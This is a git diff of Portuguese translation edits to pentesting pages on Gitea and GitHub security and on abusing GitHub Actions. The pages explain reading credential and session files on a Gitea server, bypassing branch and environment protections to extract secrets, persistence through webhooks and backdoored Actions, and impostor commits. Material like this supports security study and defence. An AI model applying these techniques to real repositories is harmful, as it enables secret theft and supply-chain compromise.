 **Webhooks** são capazes de **enviar informações específicas do gitea para alguns lugares**. Você pode ser capaz de **explorar essa comunicação**.\
-No entanto, geralmente um **segredo** que você **não pode recuperar** é definido no **webhook** que irá **prevenir** usuários externos que conhecem a URL do webhook, mas não o segredo, de **explorar esse webhook**.\
-Mas em algumas ocasiões, as pessoas, em vez de definir o **segredo** em seu lugar, **o definem na URL** como um parâmetro, então **verificar as URLs** pode permitir que você **encontre segredos** e outros lugares que você poderia explorar mais.
+No entanto, geralmente um **segredo** que você **não pode recuperar** é definido no **webhook** que **impede** usuários externos que conhecem a URL do webhook, mas não o segredo, de **explorar esse webhook**.\
+Mas em algumas ocasiões, as pessoas, em vez de definir o **segredo** em seu lugar, **o definem na URL** como um parâmetro, então **verificando as URLs** pode permitir que você **encontre segredos** e outros lugares que você poderia explorar mais.
 
 Webhooks podem ser definidos em **nível de repo e de org**.
 
@@ -109,18 +109,18 @@ Webhooks podem ser definidos em **nível de repo e de org**.
 
 ### Dentro do servidor
 
-Se de alguma forma você conseguiu entrar no servidor onde o gitea está rodando, você deve procurar pelo arquivo de configuração do gitea. Por padrão, ele está localizado em `/data/gitea/conf/app.ini`.
+Se de alguma forma você conseguiu entrar no servidor onde o gitea está rodando, você deve procurar o arquivo de configuração do gitea. Por padrão, ele está localizado em `/data/gitea/conf/app.ini`
 
 Neste arquivo, você pode encontrar **chaves** e **senhas**.
 
 No caminho do gitea (por padrão: /data/gitea) você também pode encontrar informações interessantes como:
 
-- O **banco de dados sqlite**: Se o gitea não estiver usando um banco de dados externo, ele usará um banco de dados sqlite.
-- As **sessões** dentro da pasta de sessões: Executando `cat sessions/*/*/*` você pode ver os nomes de usuário dos usuários logados (o gitea também pode salvar as sessões dentro do banco de dados).
+- O **DB sqlite**: Se o gitea não estiver usando um db externo, ele usará um db sqlite.
+- As **sessões** dentro da pasta de sessões: Executando `cat sessions/*/*/*` você pode ver os nomes de usuário dos usuários logados (o gitea também pode salvar as sessões dentro do DB).
 - A **chave privada jwt** dentro da pasta jwt.
 - Mais **informações sensíveis** podem ser encontradas nesta pasta.
 
-Se você estiver dentro do servidor, você também pode **usar o binário `gitea`** para acessar/modificar informações:
+Se você estiver dentro do servidor, também pode **usar o binário `gitea`** para acessar/modificar informações:
 
 - `gitea dump` irá despejar o gitea e gerar um arquivo .zip.
 - `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` irá gerar um token do tipo indicado (persistência).
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index 9ccc00635..de67ecd55 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -1,4 +1,4 @@
-# Informações Básicas do Gitea
+# Informações Básicas sobre Gitea
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -6,7 +6,7 @@
 
 A estrutura básica do ambiente Gitea é agrupar repositórios por **organização(ões),** cada uma delas pode conter **vários repositórios** e **várias equipes.** No entanto, note que assim como no github, os usuários podem ter repositórios fora da organização.
 
-Além disso, um **usuário** pode ser um **membro** de **diferentes organizações**. Dentro da organização, o usuário pode ter **diferentes permissões sobre cada repositório**.
+Além disso, um **usuário** pode ser **membro** de **diferentes organizações**. Dentro da organização, o usuário pode ter **diferentes permissões sobre cada repositório**.
 
 Um usuário também pode ser **parte de diferentes equipes** com diferentes permissões sobre diferentes repositórios.
 
@@ -24,7 +24,7 @@ Quando uma **organização é criada**, uma equipe chamada **Owners** é **criad
 - Limitado (apenas usuários logados)
 - Privado (apenas membros)
 
-**Org admins** também podem indicar se os **repo admins** podem **adicionar e ou remover acesso** para equipes. Eles também podem indicar o número máximo de repositórios.
+**Org admins** também podem indicar se os **repo admins** podem **adicionar ou remover acesso** para equipes. Eles também podem indicar o número máximo de repositórios.
 
 Ao criar uma nova equipe, várias configurações importantes são selecionadas:
 
@@ -38,7 +38,7 @@ Ao criar uma nova equipe, várias configurações importantes são selecionadas:
 
 ### Equipes & Usuários
 
-Em um repositório, o **org admin** e os **repo admins** (se permitido pela org) podem **gerenciar os papéis** dados a colaboradores (outros usuários) e equipes. Existem **3** papéis possíveis:
+Em um repositório, o **org admin** e os **repo admins** (se permitido pela org) podem **gerenciar os papéis** dados a colaboradores (outros usuários) e equipes. Existem **3** possíveis **papéis**:
 
 - Administrador
 - Escrita
@@ -52,7 +52,7 @@ Usando **nome de usuário + senha** e potencialmente (e recomendado) um 2FA.
 
 ### **Chaves SSH**
 
-Você pode configurar sua conta com uma ou várias chaves públicas permitindo que a chave **privada relacionada execute ações em seu nome.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
+Você pode configurar sua conta com uma ou várias chaves públicas permitindo que a chave **privada relacionada realize ações em seu nome.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
 
 #### **Chaves GPG**
 
@@ -64,7 +64,7 @@ Você pode gerar um token de acesso pessoal para **dar a um aplicativo acesso à
 
 ### Aplicações Oauth
 
-Assim como os tokens de acesso pessoal, as **aplicações Oauth** terão **acesso completo** à sua conta e aos lugares que sua conta tem acesso porque, como indicado na [documentação](https://docs.gitea.io/en-us/oauth2-provider/#scopes), escopos ainda não são suportados:
+Assim como os tokens de acesso pessoal, as **aplicações Oauth** terão **acesso completo** à sua conta e aos lugares que sua conta tem acesso porque, como indicado na [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), escopos ainda não são suportados:
 
 ![](<../../images/image (194).png>)
 
@@ -79,22 +79,22 @@ As proteções de branch são projetadas para **não dar controle completo de um
 As **proteções de branch de um repositório** podem ser encontradas em _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
 
 > [!NOTE]
-> Não é **possível definir uma proteção de branch em nível de organização**. Portanto, todas devem ser declaradas em cada repositório.
+> Não é **possível definir uma proteção de branch em nível de organização**. Portanto, todas elas devem ser declaradas em cada repositório.
 
 Diferentes proteções podem ser aplicadas a um branch (como ao master):
 
 - **Desabilitar Push**: Ninguém pode fazer push para este branch
-- **Habilitar Push**: Qualquer um com acesso pode fazer push, mas não forçar push.
-- **Whitelist Restricted Push**: Apenas usuários/equipes selecionados podem fazer push para este branch (mas sem forçar push)
+- **Habilitar Push**: Qualquer um com acesso pode fazer push, mas não force push.
+- **Whitelist Restricted Push**: Apenas usuários/equipes selecionados podem fazer push para este branch (mas sem force push)
 - **Habilitar Merge Whitelist**: Apenas usuários/equipes na lista branca podem mesclar PRs.
 - **Habilitar verificações de status:** Exigir que as verificações de status sejam aprovadas antes de mesclar.
 - **Exigir aprovações**: Indicar o número de aprovações necessárias antes que um PR possa ser mesclado.
-- **Restringir aprovações a usuários na lista branca**: Indicar usuários/equipes que podem aprovar PRs.
+- **Restringir aprovações a usuários/equipes na lista branca**: Indicar usuários/equipes que podem aprovar PRs.
 - **Bloquear mesclagem em revisões rejeitadas**: Se mudanças forem solicitadas, não pode ser mesclado (mesmo que as outras verificações passem)
 - **Bloquear mesclagem em solicitações de revisão oficiais**: Se houver solicitações de revisão oficiais, não pode ser mesclado
 - **Desconsiderar aprovações antigas**: Quando novos commits são feitos, aprovações antigas serão desconsideradas.
 - **Exigir Commits Assinados**: Commits devem ser assinados.
-- **Bloquear mesclagem se o pull request estiver desatualizado**
+- **Bloquear mesclagem se a solicitação de pull estiver desatualizada**
 - **Padrões de arquivos protegidos/não protegidos**: Indicar padrões de arquivos para proteger/desproteger contra mudanças
 
 > [!NOTE]
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index e3ef98b6f..511cac535 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -1,10 +1,10 @@
-# Github Security
+# Segurança do Github
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## O que é o Github
 
-(De [aqui](https://kinsta.com/knowledgebase/what-is-github/)) Em um nível alto, **o GitHub é um site e serviço baseado em nuvem que ajuda os desenvolvedores a armazenar e gerenciar seu código, além de rastrear e controlar alterações em seu código**.
+(De [aqui](https://kinsta.com/knowledgebase/what-is-github/)) Em um nível alto, **o GitHub é um site e um serviço baseado em nuvem que ajuda os desenvolvedores a armazenar e gerenciar seu código, além de rastrear e controlar as alterações em seu código**.
 
 ### Informações Básicas
 
@@ -32,7 +32,7 @@ Ferramentas (cada ferramenta contém sua lista de dorks):
 - [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Lista de Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
 - [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Lista de Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
 
-### Github Leaks
+### Vazamentos do Github
 
 Por favor, note que os github dorks também são destinados a pesquisar vazamentos usando opções de pesquisa do github. Esta seção é dedicada a aquelas ferramentas que irão **baixar cada repositório e procurar informações sensíveis neles** (até verificando certa profundidade de commits).
 
@@ -51,9 +51,9 @@ Ferramentas (cada ferramenta contém sua lista de regexes):
 
 ### Forks Externos
 
-É possível **comprometer repositórios abusando de pull requests**. Para saber se um repositório é vulnerável, você precisa principalmente ler as configurações yaml do Github Actions. [**Mais informações sobre isso abaixo**](./#execution-from-a-external-fork).
+É possível **comprometer repositórios abusando de pull requests**. Para saber se um repositório é vulnerável, você precisa principalmente ler as configurações yaml das Ações do Github. [**Mais informações sobre isso abaixo**](./#execution-from-a-external-fork).
 
-### Github Leaks em forks deletados/internos
+### Vazamentos do Github em forks deletados/internos
 
 Mesmo que deletados ou internos, pode ser possível obter dados sensíveis de forks de repositórios do github. Confira aqui:
 
@@ -67,9 +67,9 @@ accessible-deleted-data-in-github.md
 
 Existem alguns **privilégios padrão** que podem ser atribuídos aos **membros** da organização. Estes podem ser controlados a partir da página `https://github.com/organizations/<org_name>/settings/member_privileges` ou da [**API de Organizações**](https://docs.github.com/en/rest/orgs/orgs).
 
-- **Permissões básicas**: Os membros terão a permissão Nenhuma/Leitura/escrita/Admin sobre os repositórios da organização. O recomendado é **Nenhuma** ou **Leitura**.
-- **Fork de repositório**: Se não for necessário, é melhor **não permitir** que os membros façam fork dos repositórios da organização.
-- **Criação de páginas**: Se não for necessário, é melhor **não permitir** que os membros publiquem páginas dos repositórios da organização. Se necessário, você pode permitir a criação de páginas públicas ou privadas.
+- **Permissões básicas**: Os membros terão a permissão Nenhuma/Leitura/escrita/Admin sobre os repositórios da org. O recomendado é **Nenhuma** ou **Leitura**.
+- **Forking de repositórios**: Se não for necessário, é melhor **não permitir** que os membros façam fork dos repositórios da organização.
+- **Criação de páginas**: Se não for necessário, é melhor **não permitir** que os membros publiquem páginas dos repositórios da org. Se necessário, você pode permitir a criação de páginas públicas ou privadas.
 - **Solicitações de acesso à integração**: Com isso habilitado, colaboradores externos poderão solicitar acesso a aplicativos do GitHub ou OAuth para acessar esta organização e seus recursos. Geralmente é necessário, mas se não for, é melhor desabilitar.
 - _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
 - **Mudança de visibilidade do repositório**: Se habilitado, **membros** com permissões **admin** para o **repositório** poderão **mudar sua visibilidade**. Se desabilitado, apenas os proprietários da organização podem mudar as visibilidades dos repositórios. Se você **não** quiser que as pessoas tornem as coisas **públicas**, certifique-se de que isso esteja **desabilitado**.
@@ -89,11 +89,11 @@ Várias configurações relacionadas à segurança podem ser configuradas para a
 
 - **Políticas de ações do Github**: Permite indicar quais repositórios podem executar fluxos de trabalho e quais fluxos de trabalho devem ser permitidos. É recomendado **especificar quais repositórios** devem ser permitidos e não permitir que todas as ações sejam executadas.
 - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
-- **Fluxos de trabalho de pull request de fork de colaboradores externos**: É recomendado **exigir aprovação para todos** os colaboradores externos.
+- **Fluxos de trabalho de pull requests de forks de colaboradores externos**: É recomendado **exigir aprovação para todos** os colaboradores externos.
 - _Não consegui encontrar uma API com essa informação, compartilhe se você encontrar_
-- **Executar fluxos de trabalho de pull requests de fork**: É altamente **desaconselhado executar fluxos de trabalho de pull requests** pois os mantenedores do fork de origem terão a capacidade de usar tokens com permissões de leitura no repositório de origem.
+- **Executar fluxos de trabalho de pull requests de forks**: É altamente **desaconselhado executar fluxos de trabalho de pull requests** pois os mantenedores do fork de origem terão a capacidade de usar tokens com permissões de leitura no repositório de origem.
 - _Não consegui encontrar uma API com essa informação, compartilhe se você encontrar_
-- **Permissões de fluxo de trabalho**: É altamente recomendado **dar apenas permissões de leitura de repositório**. É desaconselhado dar permissões de escrita e criar/aprovar pull requests para evitar o abuso do GITHUB_TOKEN dado para fluxos de trabalho em execução.
+- **Permissões de fluxo de trabalho**: É altamente recomendado **dar apenas permissões de leitura do repositório**. É desaconselhado dar permissões de escrita e criar/aprovar pull requests para evitar o abuso do GITHUB_TOKEN dado para fluxos de trabalho em execução.
 - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
 
 ### Integrações
@@ -116,7 +116,7 @@ Note que **2FA pode ser usado**, então você só poderá acessar essas informa
 > [!NOTE]
 > Note que se você **conseguir roubar o cookie `user_session`** (atualmente configurado com SameSite: Lax), você pode **impersonar completamente o usuário** sem precisar de credenciais ou 2FA.
 
-Verifique a seção abaixo sobre [**bypasses de proteção de branch**](./#branch-protection-bypass) caso seja útil.
+Verifique a seção abaixo sobre [**bypass de proteções de branch**](./#branch-protection-bypass) caso seja útil.
 
 ### Com Chave SSH de Usuário
 
@@ -130,7 +130,7 @@ git config --list
 ```
 Se o usuário configurou seu nome de usuário como seu nome de usuário do github, você pode acessar as **chaves públicas que ele configurou** em sua conta em _https://github.com/\<github_username>.keys_, você pode verificar isso para confirmar se a chave privada que você encontrou pode ser usada.
 
-**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos a partir de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada.
+**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada.
 
 #### Chaves GPG
 
@@ -152,7 +152,7 @@ Um token de usuário se parece com isso: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX1
 
 Para uma introdução sobre [**Aplicativos Oauth do Github, verifique as informações básicas**](basic-github-information.md#oauth-applications).
 
-Um atacante pode criar um **Aplicativo Oauth malicioso** para acessar dados/ações privilegiados dos usuários que os aceitam, provavelmente como parte de uma campanha de phishing.
+Um atacante pode criar um **Aplicativo Oauth malicioso** para acessar dados/ações privilegiados dos usuários que o aceitam, provavelmente como parte de uma campanha de phishing.
 
 Esses são os [escopos que um aplicativo Oauth pode solicitar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Um deve sempre verificar os escopos solicitados antes de aceitá-los.
 
@@ -162,11 +162,11 @@ Além disso, como explicado nas informações básicas, **as organizações pode
 
 Para uma introdução sobre [**Aplicativos do Github, verifique as informações básicas**](basic-github-information.md#github-applications).
 
-Um atacante pode criar um **Aplicativo Github malicioso** para acessar dados/ações privilegiados dos usuários que os aceitam, provavelmente como parte de uma campanha de phishing.
+Um atacante pode criar um **Aplicativo Github malicioso** para acessar dados/ações privilegiados dos usuários que o aceitam, provavelmente como parte de uma campanha de phishing.
 
 Além disso, como explicado nas informações básicas, **as organizações podem conceder/negá-los acesso a aplicativos de terceiros** a informações/repos/ações relacionadas à organização.
 
-## Comprometimento & Abuso da Ação do Github
+## Compromisso e Abuso da Ação do Github
 
 Existem várias técnicas para comprometer e abusar de uma Ação do Github, verifique-as aqui:
 
@@ -176,19 +176,19 @@ abusing-github-actions/
 
 ## Bypass de Proteção de Branch
 
-- **Exigir um número de aprovações**: Se você comprometeu várias contas, pode simplesmente aceitar seus PRs de outras contas. Se você tiver apenas a conta de onde criou o PR, não poderá aceitar seu próprio PR. No entanto, se você tiver acesso a um **ambiente de Ação do Github** dentro do repositório, usando o **GITHUB_TOKEN**, você pode ser capaz de **aprovar seu PR** e obter 1 aprovação dessa forma.
+- **Exigir um número de aprovações**: Se você comprometeu várias contas, pode simplesmente aceitar seus PRs de outras contas. Se você apenas tem a conta de onde criou o PR, não pode aceitar seu próprio PR. No entanto, se você tiver acesso a um ambiente de **Ação do Github** dentro do repositório, usando o **GITHUB_TOKEN**, pode ser capaz de **aprovar seu PR** e obter 1 aprovação dessa forma.
 - _Nota para isso e para a restrição de Proprietários de Código que geralmente um usuário não poderá aprovar seus próprios PRs, mas se você puder, pode abusar disso para aceitar seus PRs._
-- **Rejeitar aprovações quando novos commits são enviados**: Se isso não estiver configurado, você pode enviar código legítimo, esperar até que alguém o aprove e colocar código malicioso e mesclá-lo na branch protegida.
-- **Exigir revisões de Proprietários de Código**: Se isso estiver ativado e você for um Proprietário de Código, poderá fazer uma **Ação do Github criar seu PR e então aprová-lo você mesmo**.
+- **Rejeitar aprovações quando novos commits são enviados**: Se isso não estiver configurado, você pode enviar código legítimo, esperar até que alguém o aprove, e colocar código malicioso e mesclá-lo na branch protegida.
+- **Exigir revisões de Proprietários de Código**: Se isso estiver ativado e você for um Proprietário de Código, pode fazer uma **Ação do Github criar seu PR e então aprová-lo você mesmo**.
 - Quando um **arquivo CODEOWNER está mal configurado**, o Github não reclama, mas não o utiliza. Portanto, se estiver mal configurado, **a proteção de Proprietários de Código não é aplicada.**
 - **Permitir que atores especificados contornem os requisitos de pull request**: Se você for um desses atores, pode contornar as proteções de pull request.
 - **Incluir administradores**: Se isso não estiver configurado e você for administrador do repositório, pode contornar essas proteções de branch.
 - **Sequestro de PR**: Você pode ser capaz de **modificar o PR de outra pessoa** adicionando código malicioso, aprovando o PR resultante você mesmo e mesclando tudo.
 - **Removendo Proteções de Branch**: Se você for um **administrador do repositório, pode desativar as proteções**, mesclar seu PR e reativar as proteções.
-- **Contornando proteções de push**: Se um repositório **somente permite certos usuários** enviar push (mesclar código) em branches (a proteção de branch pode estar protegendo todas as branches especificando o curinga `*`).
-- Se você tiver **acesso de escrita sobre o repositório, mas não for permitido enviar código** por causa da proteção de branch, ainda pode **criar uma nova branch** e dentro dela criar uma **ação do github que é acionada quando o código é enviado**. Como a **proteção de branch não protegerá a branch até que seja criada**, esse primeiro push de código para a branch **executará a ação do github**.
+- **Contornando proteções de push**: Se um repositório **somente permite que certos usuários** enviem push (mesclem código) em branches (a proteção de branch pode estar protegendo todas as branches especificando o curinga `*`).
+- Se você tiver **acesso de escrita sobre o repositório, mas não for permitido enviar código** por causa da proteção de branch, ainda pode **criar uma nova branch** e dentro dela criar uma **ação do github que é acionada quando o código é enviado**. Como a **proteção de branch não protegerá a branch até que ela seja criada**, esse primeiro envio de código para a branch **executará a ação do github**.
 
-## Bypass de Proteções de Ambientes
+## Contornar Proteções de Ambientes
 
 Para uma introdução sobre [**Ambiente do Github, verifique as informações básicas**](basic-github-information.md#git-environments).
 
@@ -200,7 +200,7 @@ push: # Run it when a push is made to a branch
 branches:
 - current_branch_name #Use '**' to run when a push is made to any branch
 ```
-Note que **após a criação** do branch, a **proteção do branch será aplicada ao novo branch** e você não poderá modificá-lo, mas nesse momento você já terá extraído os segredos.
+Note que **após a criação** do branch, a **proteção do branch será aplicada ao novo branch** e você não poderá modificá-lo, mas nesse tempo você já terá extraído os segredos.
 
 ## Persistência
 
@@ -211,12 +211,12 @@ Note que **após a criação** do branch, a **proteção do branch será aplicad
 - Criar **webhooks** para exfiltrar informações
 - Convidar **colaboradores externos**
 - **Remover** **webhooks** usados pelo **SIEM**
-- Criar/modificar **Github Action** com uma **porta dos fundos**
-- Encontrar **Github Action vulnerável para injeção de comandos** via modificação de valor de **segredo**
+- Criar/modificar **Github Action** com uma **backdoor**
+- Encontrar **Github Action vulnerável a injeção de comando** via modificação de valor de **segredo**
 
-### Commits de Impostor - Porta dos fundos via commits de repositório
+### Commits de Impostor - Backdoor via commits de repositório
 
-No Github, é possível **criar um PR para um repositório a partir de um fork**. Mesmo que o PR não seja **aceito**, um **commit** id dentro do repositório original será criado para a versão fork do código. Portanto, um atacante **poderia fixar o uso de um commit específico de um repositório aparentemente legítimo que não foi criado pelo proprietário do repositório**.
+No Github, é possível **criar um PR para um repositório a partir de um fork**. Mesmo que o PR **não seja aceito**, um **commit** id dentro do repositório original será criado para a versão fork do código. Portanto, um atacante **poderia fixar o uso de um commit específico de um repositório aparentemente legítimo que não foi criado pelo proprietário do repositório**.
 
 Como [**este**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
 ```yaml
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index a3dbaf009..9b0ecffba 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -1,20 +1,20 @@
-# Abusing Github Actions
+# Abusando do Github Actions
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
 Nesta página você encontrará:
 
-- Um **resumo de todos os impactos** de um atacante conseguindo acessar uma Github Action
+- Um **resumo de todos os impactos** de um atacante conseguindo acessar um Github Action
 - Diferentes maneiras de **obter acesso a uma ação**:
 - Ter **permissões** para criar a ação
-- Abusar de **gatilhos** relacionados a pull requests
+- Abusar de **gatilhos** relacionados a **pull requests**
 - Abusar de **outras técnicas de acesso externo**
 - **Pivotar** de um repositório já comprometido
 - Finalmente, uma seção sobre **técnicas de pós-exploração para abusar de uma ação de dentro** (causando os impactos mencionados)
 
-## Impacts Summary
+## Resumo dos Impactos
 
 Para uma introdução sobre [**Github Actions, confira as informações básicas**](../basic-github-information.md#github-actions).
 
@@ -28,11 +28,11 @@ Se você pode **executar código arbitrário no GitHub Actions** dentro de um **
 
 ## GITHUB_TOKEN
 
-Este "**segredo**" (vindo de `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) é fornecido quando o administrador habilita esta opção:
+Este "**segredo**" (vindo de `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) é dado quando o administrador habilita esta opção:
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-Este token é o mesmo que uma **Aplicação Github usará**, então pode acessar os mesmos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Este token é o mesmo que uma **Aplicação do Github usará**, então pode acessar os mesmos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
 > O Github deve lançar um [**fluxo**](https://github.com/github/roadmap/issues/74) que **permita acesso entre repositórios** dentro do GitHub, para que um repositório possa acessar outros repositórios internos usando o `GITHUB_TOKEN`.
@@ -143,7 +143,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 > [!NOTE]
 > Esta seria a maneira mais fácil de comprometer ações do Github, já que este caso supõe que você tenha acesso para **criar um novo repositório na organização**, ou tenha **privilegios de escrita sobre um repositório**.
 >
-> Se você estiver nesse cenário, pode apenas verificar as [técnicas de Pós Exploração](./#post-exploitation-techniques-from-inside-an-action).
+> Se você estiver nesse cenário, pode apenas verificar as [técnicas de pós-exploração](./#post-exploitation-techniques-from-inside-an-action).
 
 ### Execução a partir da Criação de Repositório
 
@@ -170,22 +170,22 @@ branches:
 ## Execução Forked
 
 > [!NOTE]
-> Existem diferentes gatilhos que poderiam permitir a um atacante **executar uma Github Action de outro repositório**. Se essas ações acionáveis forem mal configuradas, um atacante poderá comprometê-las.
+> Existem diferentes gatilhos que poderiam permitir a um atacante **executar uma Github Action de outro repositório**. Se essas ações acionáveis estiverem mal configuradas, um atacante poderá comprometê-las.
 
 ### `pull_request`
 
-O gatilho do fluxo de trabalho **`pull_request`** executará o fluxo de trabalho toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **colaborando**, algum **mantenedor** precisará **aprovar** a **execução** do fluxo de trabalho:
+O gatilho de workflow **`pull_request`** executará o workflow toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **colaborando**, algum **mantenedor** precisará **aprovar** a **execução** do workflow:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Como a **limitação padrão** é para **contribuidores de primeira viagem**, você poderia contribuir **corrigindo um bug/erro válido** e depois enviar **outros PRs para abusar de seus novos privilégios de `pull_request`**.
+> Como a **limitação padrão** é para **contribuidores de primeira viagem**, você poderia contribuir **corrigindo um bug/erro válido** e então enviar **outros PRs para abusar de seus novos privilégios de `pull_request`**.
 >
 > **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e deletou sua conta.~~
 
 Além disso, por padrão **impede permissões de escrita** e **acesso a segredos** no repositório alvo, conforme mencionado na [**documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
 
-> Com a exceção de `GITHUB_TOKEN`, **segredos não são passados para o runner** quando um fluxo de trabalho é acionado de um repositório **forked**. O **`GITHUB_TOKEN` tem permissões de leitura** em pull requests **de repositórios forked**.
+> Com a exceção de `GITHUB_TOKEN`, **segredos não são passados para o runner** quando um workflow é acionado de um repositório **forked**. O **`GITHUB_TOKEN` tem permissões de leitura** em pull requests **de repositórios forked**.
 
 Um atacante poderia modificar a definição da Github Action para executar coisas arbitrárias e adicionar ações arbitrárias. No entanto, ele não poderá roubar segredos ou sobrescrever o repositório devido às limitações mencionadas.
 
@@ -196,20 +196,20 @@ Como o atacante também controla o código sendo executado, mesmo que não haja
 
 ### **`pull_request_target`**
 
-O gatilho do fluxo de trabalho **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a segredos** (e não pede permissão).
+O gatilho de workflow **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a segredos** (e não pede permissão).
 
-Note que o gatilho do fluxo de trabalho **`pull_request_target`** **executa no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais informações sobre `pull_request_target`, [**verifique a documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Note que o gatilho de workflow **`pull_request_target`** **executa no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais informações sobre `pull_request_target`, [**verifique a documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
 Além disso, para mais informações sobre esse uso específico perigoso, confira este [**post no blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
-Pode parecer que, porque o **fluxo de trabalho executado** é o definido na **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**.
+Pode parecer que, como o **workflow executado** é o definido na **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**.
 
 E este terá **acesso a segredos**.
 
 ### `workflow_run`
 
-O gatilho [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite executar um fluxo de trabalho a partir de outro quando está `completo`, `solicitado` ou `em_andamento`.
+O gatilho [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite executar um workflow a partir de outro quando está `completo`, `solicitado` ou `em progresso`.
 
-Neste exemplo, um fluxo de trabalho é configurado para ser executado após a conclusão do fluxo de trabalho separado "Executar Testes":
+Neste exemplo, um workflow é configurado para ser executado após a conclusão do workflow separado "Executar Testes":
 ```yaml
 on:
 workflow_run:
@@ -219,7 +219,7 @@ types:
 ```
 Além disso, de acordo com a documentação: O fluxo de trabalho iniciado pelo evento `workflow_run` é capaz de **acessar segredos e escrever tokens, mesmo que o fluxo de trabalho anterior não tenha**.
 
-Esse tipo de fluxo de trabalho pode ser atacado se **depender** de um **fluxo de trabalho** que pode ser **ativado** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**encontrados neste blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no fluxo de trabalho ativado por **`workflow_run`** baixando o código dos atacantes: `${{ github.event.pull_request.head.sha }}`\
+Esse tipo de fluxo de trabalho pode ser atacado se **depender** de um **fluxo de trabalho** que pode ser **ativado** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**encontrados neste blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no fluxo de trabalho acionado por **`workflow_run`** baixando o código do atacante: `${{ github.event.pull_request.head.sha }}`\
 O segundo consiste em **passar** um **artefato** do código **não confiável** para o fluxo de trabalho **`workflow_run`** e usar o conteúdo desse artefato de uma maneira que o torne **vulnerável a RCE**.
 
 ### `workflow_call`
@@ -236,10 +236,10 @@ Mencionamos todas as maneiras que um atacante externo poderia conseguir fazer um
 
 No caso de **`pull_request`,** o fluxo de trabalho será executado no **contexto do PR** (então executará o **código malicioso do PR**), mas alguém precisa **autorizá-lo primeiro** e ele será executado com algumas [limitações](./#pull_request).
 
